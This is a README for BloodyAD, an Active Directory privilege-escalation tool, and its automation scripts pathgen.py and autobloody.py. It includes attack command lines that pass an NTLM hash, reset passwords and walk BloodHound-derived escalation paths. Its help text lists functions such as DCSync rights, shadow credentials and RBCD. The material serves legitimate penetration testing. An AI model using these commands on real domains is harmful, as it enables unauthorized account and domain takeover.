BloodyAD

BloodyAD is an Active Directory Privilege Escalation Framework, it can be used manually using bloodyAD.py or automatically by combining pathgen.py and autobloody.py.

This framework supports NTLM (with password or NTLM hashes) and Kerberos authentication and binds to LDAP/LDAPS/SAMR services of a domain controller to obtain AD privesc.

It is designed to be used transparently with a SOCKS proxy.

Description

This tool can perform specific LDAP/SAMR calls to a domain controller in order to perform AD privesc.

Requirements

The following are required:

Python 3
DSinternals
Impacket
Ldap3 Use the requirements.txt for your virtual environment: pip3 install -r requirements.txt

Usage

Simple usage:

python bloodyAD.py --host 172.16.1.15 -d MYDOM -u myuser -p :70016778cb0524c799ac25b439bd6a31 changePassword mytarget 'Password123!'

List of all available functions:

[bloodyAD]$ python bloodyAD.py -husage: bloodyAD.py [-h] [-d DOMAIN] [-u USERNAME] [-p PASSWORD] [-k] [-s {ldap,ldaps,rpc}] [--host HOST] {getGroupMembers,getObjectAttributes, getObjectSID, addUser, addComputer, delObject, changePassword, addObjectToGroup, addForeignObjectToGroup,delObjectFromGroup, getObjectsInOu, getOusInOu, getUsersInOu, getComputersInOu, addDomainSync, delDomainSync, addRbcd, delRbcd,addShadowCredentials, delShadowCredentials, modifyGpoACL, setDontReqPreauthFlag, setAccountDisableFlag}                          ...Active Directory Privilege Escalation FrameworkMain options:  -h, --help            show this help message and exit  -d DOMAIN, --domain DOMAIN                        Domain used for NTLM authentication  -u USERNAME, --username USERNAME                        Username used for NTLM authentication  -p PASSWORD, --password PASS   WORD                        Cleartext password or LMHASH:NTHASH for NTLM authentication  -k, --kerberos  -s {ldap,ldaps,rpc}, --scheme {ldap,ldaps,rpc}                        Use LDAP over TLS (default is LDAP)  --host HOST           Hostname or IP of the DC (ex: my.dc.local or 172.16.1.3)Commands:  {getGroupMembers, getObjectAttributes, getObjectSID, addUser, addComputer, delObject, changePassword, addObjectToGroup,  addForeignObjectToGroup, delObjectFromGroup, getObjectsInOu, getOusInOu, getUsersInOu, getComputersInOu, addDomainSync,  delDomainSync, addRbcd, delRbcd, addShadowCredentials, delShadowCredentials, modifyGpoACL, setDontReqPreauthFlag,  setAccountDisableFlag}   Function to call

Help text to use a specific function:

[bloodyAD]$ python bloodyAD.py --host 172.16.1.15 -d MYDOM -u myuser -p :70016778cb0524c799ac25b439bd6a31 changePassword -husage:     Change the target password without knowing the old one using LDAPS or RPC    Args:        identity: sAMAccountName, DN, GUID or SID of the target (You must have write permission on it)        new_pass: new password for the target           [-h] [func_args ...]positional arguments:  func_argsoptional arguments:  -h, --help  show this help message and exit

How it works

bloodyAD communicates with a DC using mainly the LDAP protocol in order to get information or add/modify/delete AD objects. A password cannot be updated with LDAP, it must be a secure connection that is LDAPS or SAMR. A DC doesn't have LDAPS activated by default because it must be configured (with a certificate) so SAMR is used in those cases.

autobloody

Description

This tool automate the AD privesc between two AD objects, the source (the one we own) and the target (the one we want) if a privesc path exists. The automation is split in two parts:

pathgen.py to find the optimal path for privesc using bloodhound data and neo4j queries.
autobloody.py to execute the path found with pathgen.py

Requirements

The following are required:

Python 3
DSinternals
Impacket
Ldap3
BloodHound
Neo4j python driver
Neo4j with the GDS library

How to use it

First data must be imported into BloodHound (e.g using SharpHound or BloodHound.py) and Neo4j must be running.

Simple usage:

pathgen.py -dp neo4jPass -ds '[email protected]' -dt '[email protected]' && autobloody.py -d ATTACK -u 'owned_user' -p 'owned_user_pass' --host 172.16.1.15

Full help for pathgen.py:

$ python pathgen.py -husage: pathgen.py [-h] [--dburi DBURI] [-du DBUSER] -dp DBPASSWORD -ds DBSOURCE -dt DBTARGET [-f FILEPATH]Active Directory Privilege Escalation Frameworkoptional arguments:  -h, --help            show this help message and exit  --dburi DBURI         The host neo4j is running on. Default: localhost.  -du DBUSER, --dbuser DBUSER                        Neo4j username to use  -dp DBPASSWORD, --dbpassword DBPASSWORD                        Neo4j password to use  -ds DBSOURCE, --dbsource DBSOURCE                        Label of the source node  -dt DBTARGET, --dbtarget DBTARGET                        Label of the target node  -f FILEPATH, --filepath FILEPATH                        File path for the graph path file (default is path.json)

Full help for autobloody.py:

$ python autobloody.py -husage: autobloody.py [-h] [-d DOMAIN] [-u USERNAME] [-p PASSWORD] [-k] [-s {ldap,ldaps,rpc}] --host HOST [--path PATH]Active Directory Privilege Escalation Frameworkoptional arguments:  -h, --help            show this help message and exit  -d DOMAIN, --domain DOMAIN                        Domain used for NTLM authentication  -u USERNAME, --username USERNAME                        Username used for NTLM authentication  -p PASSWORD, --password PASSWORD                        Cleartext password or LMHASH:NTHASH for NTLM authentication  -k, --kerberos  -s {ldap,ldaps,rpc}, --scheme {ldap,ldaps,rpc}                        Use LDAP over TLS (default is LDAP)  --host HOST           Hostname or IP of the DC (ex: my.dc.local or 172.16.1.3)  --path PATH           Path file (to generate with pathgen.py)

How it works

First pathgen.py generates a privesc path using the Dijkstra's algorithm implemented into the Neo4j's GDS library. The Dijkstra's algorithm allows to solve the shortest path problem on a weighted graph. By default the edges created by bloodhound don't have weight but a type (e.g MemberOf, WriteOwner). A weight is then added to each edge accordingly to the type of the edge and the type of the node reached (e.g user,group,domain).

Once a path is generated and stored as a json file, autobloody.py will connect to the DC and execute the path and clean what is reversible (everything except password change).

Download bloodyAD

Source: www.kitploit.com